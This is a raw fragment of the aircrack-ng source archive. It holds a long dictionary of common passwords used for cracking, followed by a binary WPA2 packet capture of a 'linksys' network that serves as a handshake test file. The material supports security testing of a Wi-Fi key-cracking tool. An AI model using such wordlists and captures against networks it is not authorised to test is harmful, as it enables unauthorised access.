puppy123 randy remember robin rosebud sadie sampson samson samuel simple smiley snowball spike starwars stever storm sun support suzanne sweetie sweetpea system tamara tech teresa terry theresa thumper victor vision water winner xavier yamaha 121212 ABC123 America Arctic Austin Bonnie Cheryl Dorothy Drizzt Emmitt Farmer Flipper Goldie Goober Griffey Groovy Hotdog Jackson Jeffrey Jester Jimbo Johnny Kristi Lauren Lizard Louise Lover Montana Murphy NCC1701 PPP Pacers Packer Patches Peter RedDog Reebok Rosebud Sango Shadows Sharon Skippy Stanley Startrek Sunshin Swimmer TEACHERS Tinman Wildcat William Willie Wilson Yamaha aaron abigail alice allen amour animal archie bailey basf basketba beaver bingo blazer blonde bullshit business caroline cfj chicago clancy class cloclo colleen columbia connect country demo dixie domino donkey dreamer e eagles eddie farmer fgh fire flipper flowers floyd fluffy freddy friends frodo frog garden global golfer grumpy hansolo hawk health heidi help holly hoops iguana indigo italia jane jasper jessie jewels johnny joker judith katherin kids kingfish kristi laurie legend lindsay london loveyou lucy mac marc marilyn market marlboro marty maryjane matrix maxwell nancy nascar nelson network newcourt newton packers panther papa parker patricia penguin pickle porsche9 rain raven robbie robert1 rocky roses sabrina sailing sandra science scotty seven shoes smiles smokey snickers speedy spooky stephani strat stuart sunny sunset telecom temporal tigers time tinker tomcat trebor tristan truck video viper1 visa volvo warren weasel webmaste white woody xanadu zaphod !@#$%^&* 007 1022 13579 4444 666666 6969 Adidas Asdfgh Asshole Awesome Biology Bond007 Booboo Bradley Buffalo Calvin Canada Celtics Chester Colleen Connie Cooper Cracker Digital Disney Doobie Dream Dwight Eatme Farming Florida Flowers Gizmo Goalie Golden Gunner Harvey Homer Jasper Kristy Krystal Laser Maddog Marino Marvin Natasha Nelson October Parker Passwor Petunia Prince Pumpkin Qwert Ranger Sammie Senior Shirley Slayer Spunky Tandy Trouble Vette Warren Wheels Winter Zxcvbnm _ absolut adam adrian alexandr allo alpine anderson athena badger beagle beatles belle bitch bluebird bonjour bulldog bunny californ captain carol carole cedic chanel chester1 chloe coco coltrane compaq compton cooper corona cyclone dancer darwin dawn denise derek diablo digital1 direct1 dodger doogie dookie doom dragon1 dreams duckie dylan ellen export ferrari ferret firebird forest fuckoff garfield gateway gold goofy grateful guitar gunner heart herbert herman hermes history houston inside ironman isis italy jasmin jeanne julie kathleen keith kermit kimberly king koala kristen kristin laser leonard lionking macha macintos maddog major maxime melanie mexico mikey monet monique moon mouse1 napoleon ne1469 nellie niners olive one online oxford pacific painter panda pandora peaches peewee penelope picasso plato pluto police popeye portland power random raymond reality renee royal running salut samantha santa sassy scarlet scorpio scout sergei seven7 sexy shark sheba sheena sheila shelby simba singer skiing snow spanky stargate steele stella sunday sunrise sylvia tara tasha techno timothy toby today training trouble tyler unicorn violet walker wayne wendy whisky windsurf winnie wolves xfiles zebra zxcvbnm 000000 007007 10sne1 1313 131313 1701d 1a2b3c 4runner 54321 Aaaaaa Amiga Angela Animals Archie Badboy Balls Beaver BigBird Boner Booger Boston Brandi Brazil Brenda Button COWBOY Carol Chiefs Chipper Chrissy Coffee Cougar Country Curtis DRAGON Dennis Digger Doctor Firebird Frankie Gambit Gemini German Giants Grandma Grover Hanson Hawkeye Heidi Hobbit Hotrod Howard Iguana Ironman JSBach Jackie January Jennifer Joker Lakota Looney Malibu Masters Michell Mikey Monster OU812 Oliver Paladin Phillip Pickle Please Psycho Puppies Racing Rasta Reality Renee Rosie Russell Skiing Snowbal Spider Spring Squirt Studly Stupid Surfer Sweets Sydney Tester Thumper Timothy Violet Walleye Webster Wizard Zaphod Zorro Zxcvb aaa abcde abcdefg acura alex1 allison amy anne apache apollo apollo13 ariel artist asdfg asdfjkl attila babylon5 bamboo basket beaner bears beer benny bernard bertha bigbird bigred bird33 birdie blizzard bluesky bobby bootsie brewster bright bruce brutus bubba1 bubbles buck buffalo butler buzz byteme cactus camera candy canon cassie catalog cats celica celine cfi challeng champion cheryl chico christia chuck clark college conrad cool copper courtney craig crapp crawford creative crow cruise dance danielle darren database deadhead december deedee deliver detroit dilbert doc dogbert dominic elsie enter entropy etoile europe explorer fireman fish1 flamingo flash fletcher flip foxtrot french1 gabriell gaby galaxy galileo garlic gasman gator gemini general gerald gilles go goforit golden gone graymail greenday greg gretzky hacker hal9000 harold harrison harry harvey hector hell home homer hootie hotdog ib6ub9 icecream idiot imagine indian insane intern ireland irish isabelle jacob jaguar jason1 jenifer jenni jenny1 jensen john316 judy julie1 kelly1 kennedy kevin1 kim knicks lady lee leon lindsey ljf logical lucky1 lynn majordom mariah marine mario mariposa martin1 math maurice me memphis metal michael. michele minnie mirage mitch modem mom moocow ncc1701e nebraska nemesis netware news nguyen number9 open opus patches penny pete petey phish photo pierce pomme porter psalms puppy pyramid python quality qwaszx qwert raiders raquel robotech ronald rosie russell ruy savage scotch scruffy sean seattle shadow1 shanti shirley shorty shotgun skipper slayer smashing snapple sniper snoopdog snowman sparrow sports sprite spunky stacey star69 start station stealth sunny1 super surfer target taurus teddy teddy1 tester testing theboss thunderb tim topcat topher trevor tricia trixie tucker vader valerie veronica viking voodoo warcraft warner warrior watson webster wesley western wheels wilbur williams wisdom wolf1 wolfgang wrangler xcountry yankees zachary zeus zombie zorro !@#$%^& 0007 0249 1225 1234qwer 14430 1951 1p2o3i 1qw23e 1sanjose 21122112 2222 369 5252 5555 5683 777 80486 888888 911 92072 99999999 @#$%^& Action Aggies Albert Alyssa Andrea Angela1 Author Babies Bananas Barbara Barbie Basketba Bastard Beatles Bigfoot Blaster Blowme Bookit Brasil Broncos Browns Buddha Butthead Buttons Cancer Carlos Champs ChangeMe Changeme Chelsea Chevy Chevy1 Christ Christop Chucky Cindi Cleaner Clover Coolman Copper Cricket Darwin Death Defense Denver Detroit Dexter Doggie Doggy Dookie Drums Edward Elaine Elvis Espanol Except Football Francis Freedom Frosty Fubar Garden Garfield Garrett Gordon Hamster Hawaii Hello Herman Hershey History Hockey1 Honda1 Isabelle Jaeger Jaguar Jeanne Jimbob Junebug Kathryn Kayla Killme Kittens Kombat Kristen Kristin Lennon Letter Light Little Loveme Marley Marshal Martha Martin Maveric Maxwell Merlin Mittens Morris Nascar Newton Nissan Number1 Packard Pantera Peewee Penguin Piglet Popcorn Popeye Puckett Raistlin Raymond Reader Reading Rebels Redskin Reefer Retard Ripper Robbie Ronald Rooster Roping Royals Russel Samson Sarah1 Scarlett Service Shooter Sidney Simple Skater Skidoo Skinny Smiles Sniper Special Spirit Sprite Stimpy Strider Success SunShine Superman Susan Sweetie Tamara Tanker Tardis Tasha Taurus Theman Theresa Tiffany Tomcat Tractor Trevor Trucks Trumpet Vampire Vanessa Victoria Warez Warrior Weezer Welcome1 Whales Whateve Wicked Willy Woodland Ziggy a abby abcd abcdef action active advil aeh alfred aliens alison alpha1 amanda1 amelie andre angels angus apple1 ariane arizona asdfghjk aspen asterix awesome aylmer bach barry basil baskeT beanie beautifu benoit benson bernie bfi bigmac bigman binky biology bird blondie blowfish bmw bobcat boogie booster boots bozo bridge bridges buffy bull bullet butch button buttons caesar campbell camping canced canela cannon cannonda cardinal carl carlos carolina cascade castle catfish cccccc center cesar chance chaos charity charlie1 charlott cherry chevy china chiquita christop church clipper cobra concept cookies corrado corwin cosmos cougars cracker cuddles cutie cynthia cyrano daddy dan dasha dead denali depeche design deutsch dexter dgj diana diane dickhead director dirk dodgers dollars dolphins don doom2 doug dougie dragonfl dude dundee e-mail easter eclipse electric elliot energy eugene excalibu express fiona fireball first fletch flight florida fool fountain fozzie frederic frogs front242 fugazi fun future gambit garnet gary genius georgia gibson glenn goat goblue gocougs godzilla gofish gordon grandma graphic gray gretchen groovy guess guido guinness h2opolo hanna hanson happyday hazel hello1 homebrew honda1 horizon hornet image impala informix irene isaac jamaica james1 jan japan jared jazz jeanette jeff jimbo jkm joanna joel johnson jojo jordan23 josh josie julia justin1 kathy katie kenneth khan kingdom kitty kleenex kramer laddie ladybug lamer larry1 law ledzep light liverpoo lloyd looney lorraine lovely lucas lulu magnum mailer mailman malcolm mantra marcus maria mars marvin master1 mayday mazda1 medical megan memory meow metallic midori mikael mike1 miki miles million mimi minou miranda misha mishka mission molly1 money1 monopoly montreal mookie moomoo moroni mortimer naomi nautica nesbitt new nick niki nikita nimrod nirvana1 norman nugget nurse oatmeal obiwan october olivier oranges orchid pacers packer parrot passion paula pearl pedro peggy percy petunia philip phoenix1 pinkfloy pirate pisces planet play playboy player players poiuyt politics polo pookie1 praise preston prof promethe property public quebec quest qwerty12 racerx racoon rambo1 raptor redrum redwing republic research reynolds reznor rhonda ricky river robinhoo rock roman roxy roy ruby rufus rugby rusty ruth rux safety sailor sally sapphire sarah1 sasha saskia sbdc scarlett scooby scooter1 scorpion scuba1 septembe shawn shelley sherry shit skidoo slacker smiths snuffy soccer1 softball sonny space spain speedo spitfire ssssss steph sting1 stingray stormy strawber sugar sunbird sundance supra surf suzuki sweety swimming sylvie symbol t-bone tacobell taffy tango tanya tarzan tattoo tequila test2 theatre theking tiffany tigre timber tina tintin tootsie toronto tracy trek trident trumpet turbo twins user1 utopia valentin valhalla vanilla velvet venus vermont vicky volley wanker warriors whitney wolfMan wolverin wombat wonder wright xxxx yoda yomama young yvonne zenith zeppelin zhongguo biscotte PR0VIEW! diction dictionary dictum aircrack-ng-1.2-beta3/test/wpa2-psk-linksys.cap0000644000000000000000000012725512004033544020040 0ustar rootrootÔò¡ÿÿiºdYDæH †Â¤…ÎU˜ï †Â¤…@œºdYDõ ÔÎU˜ïºdYDúH †Â¤…ÎU˜ï †Â¤…PœºdYDÿ ÔÎU˜ïºdYDèèBÔÎU˜ï †Â¤…fãä€!  ‹™Ñ@ÒbŸÔúá{ ÈÛÝÙ`Ò‰ ûðšQ‘vÂ:'{u2äh\Ê$y8¿è¿ü.DƒŽÖ3acrp[R½|P`$…‹Š³c\[ ”¯¥èÄ®e’¨&ý(C7Lmy•@Zö˜·×yûþ½ Åøw¯˜žô­Î@Ì(ëÆ©×ù˜ü»Ãf”NênÝ0;eký¨h.~ªCäe&ƒ†áhß\ß=…V41*¿oµÖϾéÉ6ç1ƒ[úJ)bþv@íd¸*Ç<µvÙ+:ÞÁªªÕ$¿t‘Ù³“ƒÚ¦°ÒǾ ݇ÿ¢!•é;—Þb<|ñüX!(y힥J³HŠöÍÑ´Tæü[‡Ög ÔNözfÁ‡Ãž°¾´¸ÊjT€r#ßpJµkïV”–ÀeyÀň&R 2Ðâ.š16ñK).hlg6ÀCã•êÎâ-4=–)´MaÕÛÞÎeÌü0 û’ÒЬŸkäò/†ö‘Ö—h'ÑKO’Úc2¿•аÅÂZ©1g#!Å–—-F»?‚J1 l!«RKœ‰ß»€O¨xæ› –¸t“2È:r1Xrì«3`ë ´5~@ t$±Ù„Æ=ˆo}ŒýâYµ$᛿„öCg•ˆR‡‚GÂ?®V*1Ù'Æï 8“‘œªÆ:&n ±Áï ¨‚ÄZ(ÔÐFɼ¬7h¾oO`oî¸4:}ПɕÁ=Èë„þB×ò®ðÏ•#T·.hyâó"çoQ^¢ãÓµmêwÀ³¼OUòÈcÖy•Óv5: ä¸áûáõ·ÄzfûæY›`Åå±GÌÜ·ž¸Uû]Ïi*…UUégd9fÚà”äÑÙ>½TÖIÝ"ßºÎ Æ ŸêêÝ%줱1yS`ãà5ˆqÆÕátLиìÝÒ9æ´äý9ð[VÎå œr"Nœ¥;kfE1é@R;07Œ±¹ÛÝÚ#D¸ÐgEð6{Åz=qãàÌàC!BgÇ5uC8 [«Úlü†Û¸s+72ë†àĺËAZ°÷¨AµÕ„x ŠlR°¬ª6e!ñö9W‰ú‹¼ø/ZæQçH_ÛWú+…dt° ƒQ1Y‹\›¸È V@xîÖi½rZQû—å¦Þ/H[ðèì²j‘YjËKäÒ›LÆ‘ñä Óöî/EÞX6ÿDuŸ†ö 5ºþ-\“€!> ¨h9V¦#éJ4×g$]V¨CMåÇ*î6‘ìy½$àyÈÊé»8iÒ5,ÏI sИEÚzýoö î½ÍHnýTÄã ¸šÀñ·U8ÇÕv½ü£U¿:³‚‰³ >T¼0ú·ÃùŸ¾ü‡‰ÒVù‹˜Ú]Uã¾9kCÇë*0¬¬¬(¼dYDK” ÔÎU˜ï¼dYD™Ÿ»»:ÎU˜ï †Â¤… †Â¤…à&ªªˆŽ—Ê®¡Pe.›Â cr Péët±ŸÿèqÜL¡æôH¯…f®„©o|ƒÂôq~L"…Ç80‚ WvY©Ò5WsÄi4Ð,U©ÏjÃo¡Jž¦ïqm¶/Ì »@n>¢Sù&qeGѶ±¼dYDಃƒ †Â¤…ÎU˜ï †Â¤….ªªˆŽ_ Aâaˆm´Þd"ÇÂ$`Q¼dYDæ³ ÔÎU˜ï¼dYD¶¸QQA †Â¤…ÎU˜ïfãä . •Ã-XŸMëâ'Äé±,zfj5€Š¾s«£k ópš”ð¶S,Ö“[Y¼dYD±¾^^BÔÎU˜ï †Â¤…fãäð& ^U7YÚñš½^¦0ž@LVÄ% °0v|òæËÝäZJÇCÛ8ÁÙ$…e̘5vþTËSCû>ÎH¼dYD¾úmm€ÿÿÿÿÿÿ †Â¤… †Â¤…P'hÆ;%d1linksys‚„ US    *0¬¬¬« †¬þ¼dYDäŒmm€ÿÿÿÿÿÿ †Â¤… †Â¤…°'X=%d1linksys‚„ US    *0¬¬¬« †¬þ¼dYDƒH †Â¤…ÎU˜ï †Â¤…PŸ¼dYD…‘ ÔÎU˜ï¼dYDÙíH †Â¤…ÎU˜ï †Â¤…`Ÿ¼dYDÁî ÔÎU˜ï¼dYD¼mm€ÿÿÿÿÿÿ †Â¤… †Â¤…(hæ>%d1linksys‚„ US    *0¬¬¬« †¬þ¼dYD5H †Â¤…ÎU˜ï †Â¤…pŸ¼dYD3 ÔÎU˜ï¼dYD…ƒH †Â¤…ÎU˜ï †Â¤…€Ÿ¼dYD\„ ÔÎU˜ï¼dYD»ªmm€ÿÿÿÿÿÿ †Â¤… †Â¤…p(hv@%d1linksys‚„ US    *0¬¬¬« †¬þ¼dYDw®H †Â¤…ÎU˜ï †Â¤…Ÿ¼dYDd¯ ÔÎU˜ï¼dYDH †Â¤…ÎU˜ï †Â¤… Ÿ¼dYDY ÔÎU˜ï¼dYD»:mm€ÿÿÿÿÿÿ †Â¤… †Â¤…Ð(hB%d1linksys‚„ US    *0¬¬¬« †¬þ¼dYD‚>H †Â¤…ÎU˜ï †Â¤…°Ÿ¼dYD? ÔÎU˜ï¼dYDÇ  H †Â¤…ÎU˜ï †Â¤…ÀŸ¼dYD°¡ ÔÎU˜ï¼dYDºÊ mm€ÿÿÿÿÿÿ †Â¤… †Â¤…0)h–C%d1linksys‚„ US    *0¬¬¬« †¬þ¼dYDnÎ H †Â¤…ÎU˜ï †Â¤…П¼dYDoÏ ÔÎU˜ï¼dYD¹Z mm€ÿÿÿÿÿÿ †Â¤… †Â¤…)h&E%d1linksys‚„ US    *0¬¬¬« †¬þ¼dYDþW °: †Â¤…ÎU˜ï †Â¤…¼dYDY ÔÎU˜ï¼dYDÿ\ °:ÎU˜ï †Â¤… †Â¤… )¼dYDÈa AA: †Â¤…ÎU˜ï †Â¤…  linksys‚„ 0¬¬¬(¼dYDýb ÔÎU˜ï¼dYDçg $$:ÎU˜ï †Â¤… †Â¤…°)À‚„ ¼dYD‘ ™™:ÎU˜ï †Â¤… †Â¤…À)ªªˆŽuŠ‡Ã°û8ïý,"M_gÓ.Y¸œpXJ¿Y)0¬¬¬(¼dYDœŸ ÔÎU˜ï¼dYDZ­ »»:ÎU˜ï †Â¤… †Â¤…Ð)ªªˆŽ—ʇðû8ïý,"M_gH: †Â¤…ÎU˜ï †Â¤…0½dYDK? ÔÎU˜ï½dYD‚ŸH: †Â¤…ÎU˜ï †Â¤…@½dYD®  ÔÎU˜ï½dYDxÈmm€ÿÿÿÿÿÿ †Â¤… †Â¤…ð*hÖI%d1linksys‚„ US    *0¬¬¬« †¬þ½dYDÞÌH: †Â¤…ÎU˜ï †Â¤…P½dYDÎ ÔÎU˜ï½dYD=.H: †Â¤…ÎU˜ï †Â¤…`½dYDM2 ÔÎU˜ï½dYDxXmm€ÿÿÿÿÿÿ †Â¤… †Â¤…P+hfK%d1linksys‚„ US    *0¬¬¬« †¬þ½dYDÜ\H: †Â¤…ÎU˜ï †Â¤…p½dYD^ ÔÎU˜ï½dYD˜¼H: †Â¤…ÎU˜ï †Â¤…€½dYD«½ ÔÎU˜ï½dYDvèmm€ÿÿÿÿÿÿ †Â¤… †Â¤…°+höL%d1linksys‚„ US    *0¬¬¬« †¬þ½dYDßìH: †Â¤…ÎU˜ï †Â¤…½dYDî ÔÎU˜ï½dYDõNH: †Â¤…ÎU˜ï †Â¤… ½dYDP ÔÎU˜ï½dYDuxmm€ÿÿÿÿÿÿ †Â¤… †Â¤…,h†N%d1linksys‚„ US    *0¬¬¬« †¬þ½dYD }H: †Â¤…ÎU˜ï †Â¤…°½dYDA~ ÔÎU˜ï½dYDáH: †Â¤…ÎU˜ï †Â¤…À½dYDXâ ÔÎU˜ï½dYDvmm€ÿÿÿÿÿÿ †Â¤… †Â¤…p,hP%d1linksys‚„ US    *0¬¬¬« †¬þ½dYDå H: †Â¤…ÎU˜ï †Â¤…нdYD ÔÎU˜ï½dYD¥kH: †Â¤…ÎU˜ï †Â¤…à½dYD}o ÔÎU˜ï½dYDt˜mm€ÿÿÿÿÿÿ †Â¤… †Â¤…Ð,h¦Q%d1linksys‚„ US    *0¬¬¬« †¬þ½dYDÜœH: †Â¤…ÎU˜ï †Â¤…ð½dYDž ÔÎU˜ï½dYDëý H: †Â¤…ÎU˜ï †Â¤…½dYDûþ ÔÎU˜ï½dYDv( mm€ÿÿÿÿÿÿ †Â¤… †Â¤…0-h6S%d1linksys‚„ US    *0¬¬¬« †¬þ½dYDÜ, H: †Â¤…ÎU˜ï †Â¤…½dYD. ÔÎU˜ï½dYDE‘ H: †Â¤…ÎU˜ï †Â¤… ½dYDu’ ÔÎU˜ï½dYDr¸ mm€ÿÿÿÿÿÿ †Â¤… †Â¤…-hÆT%d1linksys‚„ US    *0¬¬¬« †¬þ½dYDͼ H: †Â¤…ÎU˜ï †Â¤…0½dYD¾ ÔÎU˜ï½dYDŸ H: †Â¤…ÎU˜ï †Â¤…@½dYDÈ ÔÎU˜ï½dYDsH mm€ÿÿÿÿÿÿ †Â¤… †Â¤…ð-hVV%d1linksys‚„ US    *0¬¬¬« †¬þ½dYDêL H: †Â¤…ÎU˜ï †Â¤…P½dYDN ÔÎU˜ï½dYDü¬H: †Â¤…ÎU˜ï †Â¤…`½dYD± ÔÎU˜ï½dYDpØmm€ÿÿÿÿÿÿ †Â¤… †Â¤…P.hæW%d1linksys‚„ US    *0¬¬¬« †¬þ½dYDÝÜH: †Â¤…ÎU˜ï †Â¤…p½dYDÞ ÔÎU˜ï¾dYDýH: †Â¤…ÎU˜ï †Â¤…€¾dYDz ÔÎU˜ï¾dYD¦'mm€ÿÿÿÿÿÿ †Â¤… †Â¤…°.ÜwY%d1linksys‚„ US    *0¬¬¬« †¬þ¾dYD ,H: †Â¤…ÎU˜ï †Â¤…¾dYDC- ÔÎU˜ï¾dYD´ŒH: †Â¤…ÎU˜ï †Â¤… ¾dYDÚ ÔÎU˜ï¾dYD/¶mm€ÿÿÿÿÿÿ †Â¤… †Â¤…/h[%d1linksys‚„ US    *0¬¬¬« †¬þ¾dYDi¼èèBÔÎU˜ï †Â¤…fãä / b©T[I”qθ^h”’›D6&ngÞ(Ç<ÙÍZ ›³sü¨ŸÇ^Ó¥Q^·uÚyoO¸?áÝÖ(©ö¸„œÈìFQµZ;a"%e=[g|Ñïˆ,qµµ¦¶§ö’+¾K¦Y ™—ìÞ\ˆÒû¶¬_^üOæ›4à¶[5ÌéJGLó?HÉØ³EëòöDÒJ¹žV;œn$²"p[¡•‘˜7duª”Ì­í](âÄ€ÕžB4ð²:Ï‹ÖùÑ /j°8Ù¼@ºBŽ,”¡›(Vtç°ªª  9Ï“«W"Mà^½ÔÍá ¨üw­äøÜØì°ÔG„CØ9“§9€½)êÚœ¿„U/F)l:º}kC|¶çfêVF°øh«{é”y¯³ëë8orktLIJ<ï”6—œ »DHÍmÒX8(謯PYÕƒ+œX¹Ü>çL¦?DÆUq ÅXÁåsÙùª²‘K³V²ê¸‚ÎOÊœ)¥ØÌ¶O³ÇÂÖº|–¿›Zeõäž¶VËPËÈÉ뀧~»‚FW#ÍÆH“‡Txh¤UÛQP‚Æ ²¡…­ÐàÛ3Ǚà a<³L>Úhî\¦F2šÖ[øTÅN <ý  oApJsNÏOë2‹‹(¡^'VTfèÜn°åÞü¦å|¡xZã¦Ïk'‘¢žá_Ⱥ§Ÿ+uÔirj!Ð »XÚ”ˆòÒ Ó`ñ+| ö.~¨ }õ^1!³½qˆ,í½¤RÃe¤ ÷ öÎ' Aø±³tx÷§Îý¼Ú¨›êó®>ö)LsêÀ2= ÍbE ÔV½ìŒ¨£¶8úË?Å}]Œ‰¤ÇZx|º÷ø>º¦fœƒžŽ>›×\j€MŠõA=ŒðáÐM8¤'¤BU¸{þê×Zí*ªÀwL3ÁÞg€TÁòšd·‡¹1Íp­ŸIGõ¨ïÂãF;;€bHvXEI§¡q‡ 4DGžH¹Ò|Š$j)ܬI^•^$ 4×€à5-µqÅ×Ëz:+…ýõhèïÚ“Ü åþ›ñOxµ’s:Vž7··Ô8ý**ÖA¾Ýy©f -Õ½="Ç›[JEÄ(NM£þåŶ8¹Ža¿?!Í«œÅÕ6¡›ê¬÷®V¹ãj,ú™`ñ9¸NÆ;_@ÍZå˜ÿMš8ù«JMÀVý‡b͵J‰R?{Ú4¥ûj?“†Çw2ÄéݾƒeŒŽFN·•‹"!Tí/îùÊ‚øžsaE,S/­èØ)Øê;!ýˆ ÐQ &{GU¡È{WbŒ ZÒ­[¢î]*BJ`ç?s;YîÝ"(+ÀåÜñüIŠfÓ/Ò› ”¸2DZ¤`@â°;®6ñɰ~f„ÊÆëJUœH¹ÛÀD-²¯òŒSì­::üá·œêEta3r¤BZ}_—‹€?À§Ô`:t;Œö:@ãáªfK¥ø•çÚñ¥6Œ‹àˆí³r]xÖ¿´nØ$îq÷!ª]]†kÍß¹µ&–ÁÒ½ËA©(oüà&1š½.D6ùs.3rCòMŸíÊÇ¥W®óR¹ù&›]Qglˆ?º\‰¦s‰ÇŒÉáÆ®Ï£ÿ§ÊLuˆ—î˜ÊF§šmRdL;tÿX%5öà‘±de;*—xøÏ¢Ù…e­*jÑ.zZ=bµµJŒÍ½ÀY€”ŠÙÏ5ÑÕUËTø¾˜çÀ¸õµß0Ê5_Ö³¢II²‡O™„sÇɇÔzªô”ìMŒð»Kè¯ ê0³t½PµÔä¹Ó©ÎýħÌ(9"«|‚&†9vG]®c¡)»U ~Ç{δ,Î,Å¡~¢ëÚ/VU2“k»H?}h8ÐRÜŸëö ñ1kým¼iù/bb^îK¡w$^æv™.*¾dYD¾H: †Â¤…ÎU˜ï †Â¤…°¾dYD·¿ ÔÎU˜ï¾dYDÛH: †Â¤…ÎU˜ï †Â¤…À¾dYD ÔÎU˜ï¾dYDG%H: †Â¤…ÎU˜ï †Â¤…оdYD~& ÔÎU˜ï¾dYD£H: †Â¤…ÎU˜ï †Â¤…à¾dYD± ÔÎU˜ï¾dYD.Fmm€ÿÿÿÿÿÿ †Â¤… †Â¤…€/h–\%d1linksys‚„ US    *0¬¬¬« †¬þ¾dYD–JH: †Â¤…ÎU˜ï †Â¤…ð¾dYDÍK ÔÎU˜ï¾dYD¬H: †Â¤…ÎU˜ï †Â¤…¾dYDƒ¯ ÔÎU˜ï¾dYD ·  A: †Â¤…ÎU˜ïfãä0 +N‚^¬vf~0P…Ó+_ùfÕ/'[ÓUÒa°b ¥¬¡Üõýª¸‡b#;Q»1ž8r°æÕ4ËÄõGMæ¤DÌ}¨ ?+EiIÄàŽ™½”1m+áàá†ZlÎ×Ao6Ê3PKE1x0âÓ?îc¼oç¥I u.rî×¾dYD0Ömm€ÿÿÿÿÿÿ †Â¤… †Â¤…à/h&^%d1linksys‚„ US    *0¬¬¬« †¬þ¾dYD8ÛH: †Â¤…ÎU˜ï †Â¤…¾dYDÜ ÔÎU˜ï¾dYDwH: †Â¤…ÎU˜ï †Â¤…€¾dYD} ÔÎU˜ï¾dYDƒcH: †Â¤…ÎU˜ï †Â¤…¾dYD„hH: †Â¤…ÎU˜ï †Â¤…¾dYD®i ÔÎU˜ï¾dYDñ™H: †Â¤…ÎU˜ï †Â¤…¾dYD÷š ÔÎU˜ï¾dYDƒóH: †Â¤…ÎU˜ï †Â¤…¾dYD·øH: †Â¤…ÎU˜ï †Â¤…¾dYDåù ÔÎU˜ï¾dYDÏ/ H: †Â¤…ÎU˜ï †Â¤…€¾dYDØ0 ÔÎU˜ï¾dYD‚ƒ H: †Â¤…ÎU˜ï †Â¤…¾dYDш H: †Â¤…ÎU˜ï †Â¤…¾dYDŠ ÔÎU˜ï¾dYD¨Ž H: †Â¤…ÎU˜ï †Â¤… ¾dYDÝ ÔÎU˜ï¾dYD‚ H: †Â¤…ÎU˜ï †Â¤…°¾dYDÓ H: †Â¤…ÎU˜ï †Â¤…°¾dYD ÔÎU˜ï¾dYD­ H: †Â¤…ÎU˜ï †Â¤…À¾dYDå ÔÎU˜ï¾dYD€£ H: †Â¤…ÎU˜ï †Â¤…оdYD£¨ H: †Â¤…ÎU˜ï †Â¤…оdYDË© ÔÎU˜ï¾dYDj® H: †Â¤…ÎU˜ï †Â¤…à¾dYD¡¯ ÔÎU˜ï¾dYDÙ6H: †Â¤…ÎU˜ï †Â¤…ð¾dYD_=mm€ÿÿÿÿÿÿ †Â¤… †Â¤…2¢g%d1linksys‚„ US    *0¬¬¬« †¬þ¾dYD0?H: †Â¤…ÎU˜ï †Â¤…ð¾dYDq@ ÔÎU˜ï¿dYDH: †Â¤…ÎU˜ï †Â¤…¿dYD^ ÔÎU˜ï¿dYD@H: †Â¤…ÎU˜ï †Â¤…¿dYDÅ…H: †Â¤…ÎU˜ï †Â¤…¿dYDô† ÔÎU˜ï¿dYDš‹H: †Â¤…ÎU˜ï †Â¤… ¿dYDÓŒ ÔÎU˜ï¿dYD@H: †Â¤…ÎU˜ï †Â¤…0¿dYDDH: †Â¤…ÎU˜ï †Â¤…0¿dYDn ÔÎU˜ï¿dYDH: †Â¤…ÎU˜ï †Â¤…@¿dYDJ ÔÎU˜ï¿dYD±¢H: †Â¤…ÎU˜ï †Â¤…P¿dYD”§H: †Â¤…ÎU˜ï †Â¤…P¿dYDǨ ÔÎU˜ï¿dYDn­H: †Â¤…ÎU˜ï †Â¤…`¿dYD¡® ÔÎU˜ï¿dYD<1H: †Â¤…ÎU˜ï †Â¤…p¿dYDV6H: †Â¤…ÎU˜ï †Â¤…p¿dYD7 ÔÎU˜ï¿dYD'<H: †Â¤…ÎU˜ï †Â¤…€¿dYD]= ÔÎU˜ï¿dYD:ÁH: †Â¤…ÎU˜ï †Â¤…¿dYDXÆH: †Â¤…ÎU˜ï †Â¤…¿dYD~Ç ÔÎU˜ï¿dYD)ÌH: †Â¤…ÎU˜ï †Â¤… ¿dYD^Í ÔÎU˜ï¿dYDxqPiTX½"tÄXÒ§'©—2_[ø­™ääÀdYDé© ÔÎU˜ïÀdYD¹®^^Bÿÿÿÿÿÿ †Â¤…ÎU˜ï 8i`ýw¿,üÎ×ôÎVÓ¼¼ZÍÀÙ¬R¢4¨%¦B~RsD7Ä¡`»DMª²q8ÈJu×RŠj­^©®3u‰ÀdYD÷°^^BÔÎU˜ï †Â¤…fãä08 ð¥»ÁÖMØ<¤t<;å1ÇÀº|“‚ŒŸ°a^ôÅE"á6\Ui1D–©NÂuÄ<.Çgоã³\ãž¿×ÀdYD÷²^^JÔÎU˜ï †Â¤…fãä08 ð¥»ÁÖMØ<¤t<;å1ÇÀº|“‚ŒŸ°a^ôÅE"á6\Ui1D–©NÂuÄ<.Çgоã³\ãž¿×ÀdYDÖ¶^^JÔÎU˜ï †Â¤…fãä08 ð¥»ÁÖMØ<¤t<;å1ÇÀº|“‚ŒŸ°a^ôÅE"á6\Ui1D–©NÂuÄ<.Çgоã³\ãž¿×ÀdYDT¾^^JÔÎU˜ï †Â¤…fãä08 ð¥»ÁÖMØ<¤t<;å1ÇÀº|“‚ŒŸ°a^ôÅE"á6\Ui1D–©NÂuÄ<.Çgоã³\ãž¿×ÀdYDïÑQQA: †Â¤…ÎU˜ïfãäP Ä·³Hs¿³EîƒW±þ³U²’Bø¤ƒç†²×€aÉ[CÌë5üaÒè,ö£B ^ÀdYDÜ×^^BÔÎU˜ï †Â¤…fãä@8 מǯÓi<¥s%«2íôÈÈ®à^tøç |KÉK¼Ø“é¶9<ÝvÔú¥jIU¯uuÞÒÚAuU¨ÀdYDž!mm€ÿÿÿÿÿÿ †Â¤… †Â¤… 8hö~%d1linksys‚„ US    *0¬¬¬« †¬þÀdYD'%H: †Â¤…ÎU˜ï †Â¤…ÐÀdYDY& ÔÎU˜ïÀdYD†+H: †Â¤…ÎU˜ï †Â¤…àÀdYD», ÔÎU˜ïÀdYDó® H: †Â¤…ÎU˜ï †Â¤…ðÀdYD· H: †Â¤…ÎU˜ï †Â¤…ðÀdYDE¸ ÔÎU˜ïÀdYDê¼ H: †Â¤…ÎU˜ï †Â¤…ÀdYD¾ ÔÎU˜ïÀdYDA mm€ÿÿÿÿÿÿ †Â¤… †Â¤…`9h‚%d1linksys‚„ US    *0¬¬¬« †¬þÀdYD¡G H: †Â¤…ÎU˜ï †Â¤…ÀdYDÉH ÔÎU˜ïÀdYDM H: †Â¤…ÎU˜ï †Â¤… ÀdYD¹N ÔÎU˜ïÀdYDÑ mm€ÿÿÿÿÿÿ †Â¤… †Â¤…À9h¦ƒ%d1linksys‚„ US    *0¬¬¬« 